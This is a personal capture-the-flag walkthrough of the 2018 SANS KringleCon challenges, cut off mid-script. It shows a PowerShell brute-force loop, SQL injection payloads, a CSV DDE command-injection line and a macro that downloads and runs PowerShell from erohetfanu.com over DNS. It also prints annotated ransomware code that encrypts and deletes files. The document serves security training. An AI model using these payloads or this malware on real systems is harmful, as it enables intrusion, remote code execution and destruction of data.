Skip to content

Challenge Walkthrough

Kringlecon

Question 1: Orientation Challenge

What phrase is revealed when you answer all of the KringleCon Holiday Hack History questions? For hints on achieving this objective, please visit Bushy Evergreen and help him with the Essential Editor Skills Cranberry Pi terminal challenge.

Goal

Answer the questions regarding past Holiday Hack Challenges to reveal the answer.

Approach

Reviewed the welcome video from Ed Skoudis and the relevant past challenges to answer each question.

  • Question 1: In 2015, the Dosis siblings asked for help understanding what piece of their "Gnome in Your Home" toy?

    Firmware

  • Question 2: In 2015, the Dosis siblings disassembled the conspiracy dreamt up by which corporation?

    ATNAS

  • Question 3: In 2016, participants were sent off on a problem-solving quest based on what artifact that Santa left?

    Business Card

  • Question 4: In 2016, Linux terminals at the North Pole could be accessed with what kind of computer?

    Cranberry Pi

  • Question 5: In 2017, the North Pole was being bombarded by giant objects. What were they?

    Snowballs

  • Question 6: In 2017, Sam the snowman needed help reassembling pages torn from what?

    The Great Book

Answering correctly reveals "Happy Trails".

Happy Trails

Answer

Happy Trails

Question 2: Directory Browsing

Who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness? Please analyze the CFP site to find out. For hints on achieving this objective, please visit Minty Candycane and help her with the The Name Game Cranberry Pi terminal challenge.

Goal

The goal here is to find the first and last name of the person that submitted the rejected talk.

Hints

Minty Candycane provided some hints regarding directory browsing. This can be as simply as removing some characters from the end of a URL.

Approach

Considering the title of the challenge is "Directory Browsing" lets see if that is the intended approach. Looking through the few links on the website we find that there is a subdirectory of "cfp" after clicking on the "CFP" link in the nav bar. The link was https://cfp.kringlecastle.com/cfp/cfp.html. Removing the "cfp.html" part of the link indeed dropped us into an open directory.

CFP Link

Open Directory

Clicking on the listed csv file reveals all rejected talks that were submitted, including the rejected talk we are looking for.

A quick search reveals the answer we are looking for!

Rejected Talks

Answer

John McClane

Question 3: de Bruijn Sequences

The KringleCon Speaker Unpreparedness room is a place for frantic speakers to furiously complete their presentations. The room is protected by a door passcode. Upon entering the correct passcode, what message is presented to the speaker? For hints on achieving this objective, please visit Tangle Coalbox and help him with the Lethal ForensicELFication Cranberry Pi terminal challenge.

Goal

Use a de Bruijn sequence to gain access to the secure room.

Hints

Tangle Coalbox provides a good starting point on this challenge by showing a real-world example of how a hacker used the squence to break into Ford vehicle door locks. There are no lockouts for bad attempts and can be used to bruteforce the code. This may apply to this challenge as well.

Approach

Based on the title of the challenge we can lookup what exactly a de Bruijn sequence is so that we know what our next step is. de Bruijn Sequence seemed a little complex to fully grasp so I looked for an alternative.

I noticed that there are four spaces with four difference options. I figured it would be just a simple to brute force with a small script. Replacing the shapes with a corresponding number between 0 and 3. It was discovered that these numbders were being used by inspecting the network traffic while making selections. An example GET request looked like https://doorpasscode.kringlecastle.com/checkpass.php?i=1231&resourceId=510e071f-xxxx-xxxx-xxxx-2c7b9b58eef4. So triangle is 0, square is 1, etc. Shapes

0000..3333 | %{
    $i = "{0:0000}" -f $_
    $url = "https://doorpasscode.kringlecastle.com/checkpass.php?i=$($i)&resourceId=510e071f-xxxx-xxxx-xxxx-2c7b9b58eef4"
    $r = iwr $url
    if (($r.content | convertfrom-json).succecss -eq $true -and $r.StatusCode -eq '200') {
        write-host "Correct code is $i!!! $($r.content)"
        return
    } else {
        write-host "$i is incorrect. Try again! : $($r.content)"
    }
}
...
0119 is incorrect. Try again! : {"success":false,"message":"Incorrect guess."}
0120 is incorrect. Try again! : {"success":true,"resourceId":"9aa6a7db-5574-44a2-adca-4bed50be660e","hash":"bb3b34d398b4c1e7e20ba99c01682c80a3e85df5d2e48503eaf9bfc2cce9c076","message":"Correct guess!"}

After just a few seconds we find a successful attempt using the code "0120" which corresponds to "Triangle, Square, Circle, Triangle."

Shapes Success

Welcome

Answer

Welcome unprepared speaker!

Alternatives

Now I am sure it was intended to bruteforce this with powershell but that is what I am familiar with. Javascript would likely be others' first choice.

Question 4: Data Repo Analysis

Retrieve the encrypted ZIP file from the North Pole Git repository. What is the password to open this file? For hints on achieving this objective, please visit Wunorse Openslae and help him with Stall Mucking Report Cranberry Pi terminal challenge.

Hints

Wunorse recommends a tool called Trufflehod to dig through repos for sensitive info. I didn't use this, rather, just stuck with straight git commands.

Goal

The goal here is to look for hints within the repo that will allow us to access the password protected file in the repo.

Approach

Before we look for any advanced hackery, lets try the simple stuff. Look for a copy of the unprotected file in the repo or see if anyone accidentally left this sensitive info in past commits. A quick search for Git commands shows us how to look through the history Git History.

git clone https://git.kringlecastle.com/Upatree/santas_castle_automation.git
Cloning into 'santas_castle_automation'...
remote: Enumerating objects: 949, done.
remote: Counting objects: 100% (949/949), done.
remote: Compressing objects: 100% (545/545), done.
remote: Total 949 (delta 258), reused 879 (delta 205)
Receiving objects: 100% (949/949), 4.27 MiB | 7.00 MiB/s, done.
Resolving deltas: 100% (258/258), done.
Checking out files: 100% (2966/2966), done.
cd santas_castle_automation
git log
...
commit 714ba109e573f37a6538beeeb7d11c9391e92a72
Author: Shinny Upatree <shinny.upatree@kringlecastle.com>
Date:   Tue Dec 11 07:23:36 2018 +0000

    removing accidental commit

Ah! We see that someone may have commited something they didn't mean to...lets see what that was.

git diff 714ba109e573f37a6538beeeb7d11c9391e92a72
...
@@ -1,15 +0,0 @@
-Our Lead InfoSec Engineer Bushy Evergreen has been noticing an increase of brute force attacks in our logs. Furthermore, Albaster discovered and published a vulnerability with our password length at the last Hacker Conference.
-
-Bushy directed our elves to change the password used to lock down our sensitive files to something stronger. Good thing he caught it before those dastardly villians did!
-
-
-Hopefully this is the last time we have to change our password again until next Christmas.
-
-
-
-
-Password = 'Yippee-ki-yay'

Sure enough this commit had some good stuff in it. We see that Bushy had requested the password be changed and listed it in the commit notes.

Note

Check out the easter egg from this challenge. The git repo also contains the very helpful diagrams to navigate through the ventialtion shafts. Ventilation Shaft Easter Egg

Answer

Yippee-ki-yay

Question 5: AD Privilege Discovery

Using the data set contained in this SANS Slingshot Linux image, find a reliable path from a Kerberoastable user to the Domain Admins group. What’s the user’s logon name (in username@domain.tld format)? Remember to avoid RDP as a control path as it depends on separate local privilege escalation flaws. For hints on achieving this objective, please visit Holly Evergreen and help her with the CURLing Master Cranberry Pi terminal challenge.

Goal

Use the provided VM with BloodHound installed to determine the best user to Kerberoast in order to gain Admin access to the domain.

Approach

With the VM loaded and BloodHound data imported, lets take a look at the available queries. Luckily, the needed query already seems to be configured. "Shortest Paths from Kerberoastable Users". Let's give it a go.

Shortest Path

With the query results displayed we need to look for the shortest path that does not include RDP sessions (this was specifically mentioned within the question as it requires a separate set of escalation techniques). The shortest path was found as shown in this image:

Kerberoasted

Answer

LDUBEJ00320@AD.KRINGLECASTLE.COM

Question 6: Badge Manipulation

Bypass the authentication mechanism associated with the room near Pepper Minstix. A sample employee badge is available. What is the access control number revealed by the door authentication panel? For hints on achieving this objective, please visit Pepper Minstix and help her with the Yule Log Analysis Cranberry Pi terminal challenge.

Goal

Determine method to bypass the authentication mechanism at the door. In this case, there appears to be three forms of authentication that can be used.

  • Webcam to hold up an access badge with required QR code
  • Thumbrint reader
  • USB with image of QR code

We were provided with a sample badge.

Sample Badge

Scanning this QR code with an online scanner we find the code is: oRfjg5uGHmbduj2m.

Next, lets try and scan the QR and see what we get.

{"data":"Authorized User Account Has Been Disabled!","request":false}

Considering the hint provided by Pepper Mminx, lets see if we can utilize SQL injection here.

We need to craft a QR code that contains the injection code and upload it to the panel. Using the QR generator at QR Code Generator we enter in the well-known "' OR 1=1 --" which should at least give us some kind of error. Errors often reveal important details about the backend.

{"data":"EXCEPTION AT (LINE 96 \"user_info = query(\"SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1\".format(uid))\"): (1064, u\"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' LIMIT 1' at line 1\")","request":false}

Getting closer! We see now that they are indeed using SQL as the backend, MySQL in particular, and will return true when the UID entered is authorized. The query is set to only return one entry as well. This means we can't simply dump the entire DB because our injection point is before this parameter. So, how can we return an authorized user?

Lets try to bypass the uid requirement by adding an OR statement such as ' OR enabled = 1 #". This should provide a final query of SELECT first_name, last_name, enabled FROM employees WHERE authorized = 1 AND uid = '' OR enabled = 1 #' LIMIT 1. This should return the first available authorized user regardless of the uid.

Creating a QR code with this ' OR enabled = 1 #" indeed reveals a successful authorization.

{"data":"User Access Granted - Control number 19880715","request":true,"success":{"hash":"6ef3e2918a62397f48ad622f65c0f9f804d23f71e0ae52cbb6c6189195795b4e","resourceId":"53e1b787-xxxx-xxxx-xxxx-67a9c4a4eed9"}}

Note

This actually took me 79 different QR codes to figure out...

Answer

19880715

Alternatives

Thinking back on the other two option presented (webcam and fingerprint) I decided to see how else this can be accomplished. Inspecting the requests when trying the fingerprint reader indicated that the same QR code is expected but in base64 encoded format.

URL

POST https://scanomatic.kringlecastle.com/upload

Headers

Host: scanomatic.kringlecastle.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://scanomatic.kringlecastle.com/index.html?challenge=qrcode&id=55fba26e-xxxx-xxxx-xxxx-b170ea52ca7d
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 385
DNT: 1
Connection: keep-alive
Cookie: resource_id=55fba26e-eac6-452e-9603-b170ea52ca7d

Body

b64barcode=data%3Aimage%2Fpng%3Bbase64%2CiVBORw0KGgoAAAANSUhEUgAAASwAAACWCAYAAABkW7XSAAAAxUlEQVR4nO3BMQEAAADCoPVPbQhfoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOA1v9QAATX68%2F0AAAAASUVORK5CYII%3D

Just for fun, lets create another Powershell script that will accept SQL injection input and send it to the server as Base64 encoded PNGs. The PS script utilizes the Zxing.dll and a custom Powershell module provided by Chris Duck. I did run into issues at first becuase when installing the QRCodes module it doesn't seem to install the zxing.dll file. However, this can manually be added if needed. Contact me if you would like more info on this. Here is the process I used:

#First install the module
#May need to download the dll. I found it in a compiled .NET project at https://github.com/micjahn/ZXing.Net/releases/download/v0.16.4.0/ZXing.Net.0.16.4.0.zip
add-type -Path .\zxing.dll
Install-Module -Name QrCodes 

#Then create the custom function
function get-scanomatic {
    [cmdletbinding()]
    param(
        [string]$message, #This will be the code we want to inject
        [string]$resource_id = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" #This is unique to you
    )

    $url = "https://scanomatic.kringlecastle.com/upload"

    $qrpath = "$env:temp\qr.png"

    #This creates the image and saves to the qrpath
    Out-BarcodeImage -Content $message -BarcodeFormat QR_CODE -Path $qrpath

    # Convert PNG bytes to base64 string
    $base64string = [Convert]::ToBase64String([IO.File]::ReadAllBytes($qrpath))

    $fields = @{b64barcode=$('data:image/png;base64,' + $base64string)}

    $type = 'application/x-www-form-urlencoded'

    #Set Resource ID Cookie otherwise it will fail
    $WebSession = New-Object Microsoft.PowerShell.Commands.WebRequestSession
    $Cookie = New-Object System.Net.Cookie 
    $Cookie.Name = "resource_id"
    $Cookie.Value = $resource_id
    $Cookie.Domain = "scanomatic.kringlecastle.com"
    $WebSession.Cookies.Add($Cookie)

    # The final request with response stored in $r
    $r = Invoke-RestMethod -method post -uri $url -Body $fields -ContentType $type -WebSession $WebSession
    return $r
}

This successfully accepts the same input commands, crafts the PNG, converts to Base64 and POSTs it in the body of the request.

Sample usage:

PS > get-scanomatic -message "' or 1=1 --"

data
----
EXCEPTION AT (LINE 96 "user_info = query("SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1".format(uid))"): (1064, u"You have an error in your SQL syntax; check the manual tha...


PS > get-scanomatic -message "' or enabled = 1 #"

data                                          request success
----                                          ------- -------
User Access Granted - Control number 19880715    True @{hash=f3227b7cb0e7b843fa7872b89f5ddd5c3db44220a488888d901f22c2a2d63a69; resourceId=9aa6a7db-xxxx-xxxx-xxxx-4bed50be660e}

PS > get-scanomatic -message "' union select 1,2,3 from employees #"

data                                          request success
----                                          ------- -------
User Access Granted - Control number 19880715    True @{hash=f3227b7cb0e7b843fa7872b89f5ddd5c3db44220a488888d901f22c2a2d63a69; resourceId=9aa6a7db-xxxx-xxxx-xxxx-4bed50be660e

Two successful injections include:

  • ' union select 1,2,3 from employees #
  • ' OR enabled = 1 #

Question 7: HR Incident Response

Santa uses an Elf Resources website to look for talented information security professionals. Gain access to the website and fetch the document C:\candidate_evaluation.docx. Which terrorist organization is secretly supported by the job applicant whose name begins with "K"? For hints on achieving this objective, please visit Sparkle Redberry and help her with the Dev Ops Fail Cranberry Pi terminal challenge.

Hints

Goal

Use CSV DDE injection techniques to retrieve a document from the web server.

Approach

After reviewing the hints and excellent video presentation on CSV DDE techniques, a carefully CSV must be crafted. In order to determin the approapriate tactice we must familiarize ourself with the website.

First thing is to run through a normal submission process. I entered in the requested information along with a sample CSV. I was greeted with some very valuable information, the location of the new hire document "C:\candidate_evaluation.docx".

Candidate Evaluation

Simply blind browsing other areas of the website reveal an even more helpful bit of info, the root path of the website! Website Root

This is excellent! Now we know where the desired document is and the location of the website files we have direct access to. So, lets craft a CSV file using the DDE technique that will attempt to copy the desired file from its current resting place to the public directory directly accessible form the website.

The CSV looks like the following with the highlighted line being the most important:

Job,Notes,other
1,Did it work,yes
3,=cmd|'/C copy C:\candidate_evaluation.docx C:\careerportal\resources\public\candidate_evaluation.docx'|!A0,pwned

Then, after a few seconds we can browse to "https://careers.kringlecastle.com/public/candidate_evaluation.docx" and grab our file.

Digging through the aquired document we find the information we were seeking!

Fancy Beaver

Note

Burp was very useful in tweaking the CSV contents. I fired up the proxy and used the repeater tool to make slight changes to the code and resend until it executed as expected.

Answer

Fancy Beaver

Question 8: Network Traffic Forensics

Santa has introduced a web-based packet capture and analysis tool to support the elves and their information security work. Using the system, access and decrypt HTTP/2 network activity. What is the name of the song described in the document sent from Holly Evergreen to Alabaster Snowball? For hints on achieving this objective, please visit SugarPlum Mary and help her with the Python Escape from LA Cranberry Pi terminal challenge.

Goal

Find the name of the song in a document that was sent from Holly Evergreen to Alabaster Snowball.

Hints

Approach

First thing is to to familiarize ourself with the site.

  • Create an account
  • Log in
  • Click through site

Nothing really stood out yet. The only interaction we seem to have is to trigger a network packet capture. However, this capture always seems to be from the same network addresses and is encrypted. Based on the hints provided earlier referencing HTTP2 and packet capture techniques we will likely be decrypting this traffic to find the name of the song.

Lets see what else we can find...

Checking through the page source we find a comment //File Size and extensions are also validated server-side in app.js. that looks interesting. Lets see if we can find this file.

Other JS files seem to be in the pub directory so that is a good place to try.

   <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
    <script src="https://packalyzer.kringlecastle.com:80/pub/js/jquery.ui.widget.js"></script>
    <script src="https://packalyzer.kringlecastle.com:80/pub/js/jquery.iframe-transport.js"></script>
    <script src="https://packalyzer.kringlecastle.com:80/pub/js/jquery.fileupload.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.100.2/js/materialize.min.js"></script>
    <script src="https://packalyzer.kringlecastle.com:80/pub/js/custom.js"></script>
    <script src="https://packalyzer.kringlecastle.com:80/pub/js/xss.js"></script>
    <script src="https://packalyzer.kringlecastle.com:80/pub/js/loader.js"></script>

https://packalyzer.kringlecastle.com/pub/app.js indeed provided us access to the source.

Two key lines stood out that directly references SSLKEYLOGS which is what one of the Kringlecon talks demonstrated.

const dev_mode = true;
const key_log_path = ( !dev_mode || __dirname + process.env.DEV + process.env.SSLKEYLOGFILE )

Trying https://packalyzer.kringlecastle.com/sslkeylogfile/ provided an error of Error: ENOENT: no such file or directory, open '/opt/http2packalyzer_clientrandom_ssl.log/'.

Lets see if we can access that file...

https://packalyzer.kringlecastle.com/packalyzer_clientrandom_ssl.log NOT FOUND :-(

So lets try to add the subdirectory of dev since it is running in dev mode...

https://packalyzer.kringlecastle.com/dev/packalyzer_clientrandom_ssl.log IT WORKED

A sample of the page includes:

CLIENT_RANDOM B80D257ECFF23A198D383165278BA928234B2D26852041FC6B5EDF068D673BB9 749DAA6D2720FA2337E65658764CA27C3B6BBC9EC5B36F1CFF015D172A6C9D3E4F931AA225BF7C44C44FC0128CFC47F5
CLIENT_RANDOM 6B43BFCE5F1F7C163C61F32C62909B1D8B98002481C6E171B85AB9DCEDD2881C A2AB187BE1AB514165827978A0305A5A5CB4375CBEB0D01498A17ABF734EF4A7FE7376261EF4CB56A7CC7D14329C7CB9
CLIENT_RANDOM FCD785DF950CAAEA5867CB90983D88ABDF884141884F2F6C35D06BF5AF5D4955 063AE2AA4B9A0DA5CDD4ABCD85977709159B74A376FB04561C218659623BF31813613C9EB260D7AC54DA6AFD3AA7661B
CLIENT_RANDOM 416B36563A3A261617F07FA89A78308833F5061B868AC117E205030BA7933B25 B71D5A5C7DE1368375D657EBFEB1D4B36B00DD940F8B58FF32E6783C574A21477C117EEB2D19B8A5D96975BBDEA4B881

Lets go back to the analyzer page, capture some traffic and download the PCAP.

PCAP

Now lets save the log file as ssl_keys.txt and fire up Wireshark. With Wireshark open we can point to our new ssl_keys as pictured below:

Wireshark1

Note

You must download the SSL_KEYS.txt and the PCAP as close to the same time as you can. Otherwise, the SSL logs will not match the catpure timestamps and won't decrypt completely.

Going back to the main window we see that the network traffic has been decrypted. Doing a filter for all http2 traffic we find the unencrypted HTTP traffic. Further searching we can narrow down the actual authentication requests by Alabaster.

Login Alabaster

Lets try and log in with his account.

Upon login, we find some previously saved network captures that may contain the data we are seeking.

Saved capture

Opening this in Wireshark we see the packets of some email communication. Following the TCP stream reveals the content of the email so lets follow the stream and see what we find.

SMTP

An email from Holly! But...the body is Base64 encoded.

Lets decode it! I used an excellent tool called Cyberchef. The direct link to this is CyberChef Base64 Decode

Pasting in the encoded text we see the actual file format is a PDF so lets save the output to file.pdf.

PDF

And then open up the saved PDF to see if we can find the answer. There it is at the bottom! Mary Had A Little Lamb.

Mary

Answer

mary had a little lamb

Question 9: Catch the Malware

Alabaster Snowball is in dire need of your help. Santa's file server has been hit with malware. Help Alabaster Snowball deal with the malware on Santa's server by completing several tasks. For hints on achieving this objective, please visit Shinny Upatree and help him with the Sleigh Bell Lottery Cranberry Pi terminal challenge. To start, assist Alabaster by accessing (clicking) the snort terminal below: Then create a rule that will catch all new infections. What is the success message displayed by the Snort terminal?

Goal

Create a snort rule to alert on all bad DNS requests.

Approach

First we need to review the provided DNS logs to see what we can determin is malicious and legit. We quickly see odd traffic to several different domains but they all contain the same string as the subdomain. This string is 77616E6E61636F6F6B69652E6D696E2E707331.

Bad DNS

I decided to test out the cool tool called Snorpy that was created by Christopher Davis for just this. Creating Snort rules.

Snorpy

Upon saving the new rule we see that is was a success!

Snort Rule

[+] Congratulation! Snort is alerting on all ransomware and only the ransomware! 

Answer

alert udp any any -> any any ( msg:"Malware"; content:"77616E6E61636F6F6B69652E6D696E2E707331"; sid:00001; rev:1; )

Question 10: Identify the Domain

After completing the prior question, Alabaster gives you a document he suspects downloads the malware. What is the domain name the malware in the document downloads from?

Goal

Identify the domain that is used by the malware document to download the rest of the payload(s).

Hints

Chris Davis put together an excellent talk on analysing Powershell malware. This will provide many key steps in determining what this malware is trying to do.

Approach

Utilizing Olevba tool we can dump the malicious VBA script that launches upon opening the document. The talk on Malicious Powershell provided the steps we need to follow. Basically, the easiest method of analyzing Powershell malware is to simply use the code to our advantage. We can go through each step of the process with slight modification to get the data we need.

First install lets download the file provided by Alabaster. The password was "elves". Then head to Powershell.

pip install oletools
 olevba3 C:\Working\kringlecon2018\docs\media\CHOCOLATE_CHIP_COOKIE_RECIPE.docm
olevba3 0.53.1 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OpX:MASI---- C:\Working\kringlecon2018\docs\media\CHOCOLATE_CHIP_COOKIE_RECIPE.docm
===============================================================================
FILE: C:\Working\kringlecon2018\docs\media\CHOCOLATE_CHIP_COOKIE_RECIPE.docm
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: word/vbaProject.bin - OLE stream: 'VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Private Sub Document_Open()
Dim cmd As String
cmd = "powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C ""sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"" "
Shell cmd
End Sub

We can see that the VBA script has an encoded Powershell command set to run from CMD. Using the technique shown in the video lets tweak the command to output the final command to a new ps1 file. The main difference being I removed the "iex" parameter so the code doesn't execute. The final code was:

powershell.exe -C "sal a New-Object; (a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd() | out-file dropper.ps1"

Which ouputs to:

# This function is used to convert HEX to ASCII
function H2A($a) {
    $o
    $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_, 16))} | forEach {$o = $o + $_}
    return $o
}
#Unique string we saw as a subdomain in the previous question
$f = "77616E6E61636F6F6B69652E6D696E2E707331"
$h = ""
#Loops through DNS TXT responses to build the malicious payload
foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10) - 1)) {$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}
#Converts the HEX data to ASCII and executes with Powershell
iex($(H2A $h | Out-string))

Now there is more to be discovered with this Powershell script but what we need for this challenge is the domain name that is being used. We will look at the rest of the script in the next question.

Answer

erohetfanu.com

Question 11: Stop the Malware

Analyze the full malware source code to find a kill-switch and activate it at the North Pole's domain registrar HoHoHo Daddy. What is the full sentence text that appears on the domain registration success message (bottom sentence)?

Goal

Register the domain that will act as the killswitch for the ransomware.

Hints

Approach

Continuing where we left off from last challenge, lets see what we can get by running the Powershell script we dumped; after we remove the "iex" part so it doesn't actually launch.

function H2A($a) {
    $o
    $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_, 16))} | forEach {$o = $o + $_}
    return $o
}
$f = "77616E6E61636F6F6B69652E6D696E2E707331"
$h = ""
foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10) - 1)) {$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}
($(H2A $h | Out-string)) | out-file ransomware.ps1

This output a very long one-liner that I was able to cleanup by replacing the semicolons with line breaks and using Visual Code's code formatting option. The final code which I have annotated with comments is as shown:

$functions = {function e_d_file($key, $File, $enc_it) {
        #Sets the $key value as bytes
        [byte[]]$key = $key
        #Sets the suffix to be used for encrypted files
        $Suffix = "`.wannacookie"
        #Loads the Windows Crypto assembly
        [System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography')
        #The keysize will be 8 times the length of the key
        [System.Int32]$KeySize = $key.Length * 8
        $AESP = New-Object 'System.Security.Cryptography.AesManaged'
        $AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC
        $AESP.BlockSize = 128
        $AESP.KeySize = $KeySize
        $AESP.Key = $key
        $FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open)
        #If the option to encrypt is true then it will set the name of the encrypted file (including the specified suffix)
        #Else, it will remove the suffix
        if ($enc_it) {$DestFile = $File + $Suffix} else {$DestFile = ($File -replace $Suffix)}
        $FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create)
        #This portion prepares the crypto to be performed (encrypt)
        if ($enc_it) {
            $AESP.GenerateIV()
            $FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4)
            $FileSW.Write($AESP.IV, 0, $AESP.IV.Length)
            $Transform = $AESP.CreateEncryptor()
        }
        #(Decrypt)
        else {
            [Byte[]]$LenIV = New-Object Byte[] 4
            $FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null
            $FileSR.Read($LenIV, 0, 3) | Out-Null
            [Int]$LIV = [System.BitConverter]::ToInt32($LenIV, 0)
            [Byte[]]$IV = New-Object Byte[] $LIV
            $FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null
            $FileSR.Read($IV, 0, $LIV) | Out-Null
            $AESP.IV = $IV
            $Transform = $AESP.CreateDecryptor()
        }
        #Performs the actual encryption/decryption on the file
        $CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write)
        [Int]$Count = 0
        [Int]$BlockSzBts = $AESP.BlockSize / 8
        [Byte[]]$Data = New-Object Byte[] $BlockSzBts
        Do {
            $Count = $FileSR.Read($Data, 0, $BlockSzBts)
            $CryptoS.Write($Data, 0, $Count)
        } While ($Count -gt 0)
        #Now clears out the variables
        $CryptoS.FlushFinalBlock()
        $CryptoS.Close()
        $FileSR.Close()
        $FileSW.Close()
        #Clears the key value which is what we will need to recover later
        Clear-variable -Name "key"
        #Delete the original file
        Remove-Item $File
    }}
#This function converts HEX to Bytes
function H2B {
    param($HX)
    $HX = $HX -split '(..)' | ? { $_ }
    ForEach ($value in $HX) {[Convert]::ToInt32($value, 16)}
}
#This function converts ASCII to HEX
function A2H() {
    Param($a)
    $c = ''
    $b = $a.ToCharArray()

    Foreach ($element in $b) {$c = $c + " " + [System.String]::Format("{0:X}", [System.Convert]::ToUInt32($element))}
    return $c -replace ' '
}
#This function converts HEX to ASCII
function H2A() {
    Param($a)
    $outa
    $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_, 16))} | forEach {$outa = $outa + $_}
    return $outa
}
#This function converts Bytes to Hex
function B2H {
    param($DEC)
    $tmp = ''
    ForEach ($value in $DEC) {
        $a = "{0:x}" -f [Int]$value
        if ($a.length -eq 1) {$tmp += '0' + $a} else {$tmp += $a}
    }
    return $tmp
}
function ti_rox {
    param($b1, $b2)
    $b1 = $(H2B $b1)
    $b2 = $(H2B $b2)
    $cont = New-Object Byte[] $b1.count
    if ($b1.count -eq $b2.count) {
        for ($i = 0
            $i -lt $b1.count 
            $i++) {$cont[$i] = $b1[$i] -bxor $b2[$i]}
    }
    return $cont
}
#This function Gzips the Bytes
function B2G {
    param([byte[]]$Data)
    Process {
        $out = [System.IO.MemoryStream]::new()
        $gStream = New-Object System.IO.Compression.GzipStream $out, ([IO.Compression.CompressionMode]::Compress)
        $gStream.Write($Data, 0, $Data.Length)
        $gStream.Close()
        return $out.ToArray()
    }
}
#This function un-Gzips the Bytes
function G2B {
    param([byte[]]$Data)
    Process {
        $SrcData = New-Object System.IO.MemoryStream( , $Data )
        $output = New-Object System.IO.MemoryStream
        $gStream = New-Object System.IO.Compression.GzipStream $SrcData, ([IO.Compression.CompressionMode]::Decompress)
        $gStream.CopyTo( $output )
        $gStream.Close()
        $SrcData.Close()
        [byte[]] $byteArr = $output.ToArray()
        return $byteArr
    }
}
#This function creates a SHA1 hash of the input
function sh1([String] $String) {
    $SB = New-Object System.Text.StringBuilder
    [System.Security.Cryptography.HashAlgorithm]::Create("SHA1").ComputeHash([System.Text.Encoding]::UTF8.GetBytes($String))| % {[Void]$SB.Append($_.ToString("x2"))}
    $SB.ToString()
}
#This function encrypts the key using the Public Key and outputs as a HEX array
function p_k_e($key_bytes, [byte[]]$pub_bytes) {
    $cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2
    $cert.Import($pub_bytes)
